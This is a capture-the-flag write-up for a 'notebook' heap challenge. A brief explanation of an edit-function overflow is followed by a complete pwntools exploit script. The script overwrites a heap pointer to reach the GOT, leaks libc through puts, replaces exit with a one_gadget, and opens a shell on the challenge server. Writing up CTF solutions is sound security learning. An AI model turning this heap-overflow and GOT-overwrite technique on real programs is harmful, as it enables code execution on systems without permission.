Rating:

Short Summary: There's an overflow in the edit function. Each note is stored using two heap chunks, one stores the note, the other is a pointer to the note. Because of this it's easy to overwrite the pointer chunk to get arbitrary read and arbitrary write.

Full Writeup:
https://youtu.be/bFAElPXPB4w?t=895

```python
import pwn
import time
import warnings

warnings.filterwarnings(action='ignore', category=BytesWarning)

elf = pwn.ELF("./notebook")
pwn.context.binary = elf
pwn.context.log_level = "DEBUG"
pwn.context(terminal=['tmux', 'split-window', '-h'])

libc = elf.libc
p = elf.process()

libc = pwn.ELF("./libc6_2.35-0ubuntu3_amd64.so")
p = pwn.remote("cybergon2023.webhop.me", "5002")

# 1. Create 2 notes
p.sendlineafter("Exit", "1")
p.sendlineafter("index>", "0")
p.sendlineafter("content>", "AAAAAAA")

p.sendlineafter("Exit", "1")
p.sendlineafter("index>", "1")
p.sendlineafter("content>", "BBBBBBB")

# 2. Point note 2 to got
p.sendlineafter("Exit", "2")
p.sendlineafter("index>", "0")
p.sendlineafter("content>", b"AAAAAAAA" *3 + pwn.p64(0x21) + pwn.p64(elf.got['puts']))

# 3. Leak puts
p.sendlineafter("Exit", "3")
p.recvuntil("1. ")
puts_addr = pwn.u64(p.recv(6).ljust(8, b"\x00"))
libc.address = puts_addr - libc.symbols['puts']
print(f"{hex(libc.address)=}")

# pwn.gdb.attach(p)

# 4. overwrite exit with one_gadget
# og_local = [330295, 965873, 965877, 965880]
og = [330295, 965873, 965877, 965880]

p.sendlineafter("Exit", "2")
p.sendlineafter("index>", "0")
p.sendlineafter("content>", b"AAAAAAAA" *3 + pwn.p64(0x21) + pwn.p64(elf.got['exit']))

p.sendlineafter("Exit", "2")
p.sendlineafter("index>", "1")
p.sendlineafter("content>", pwn.p64(libc.address + og[3]))

# 5. Trigger printf
p.sendlineafter("Exit", "0")

p.interactive()%
```

Original writeup (https://youtu.be/bFAElPXPB4w?t=895).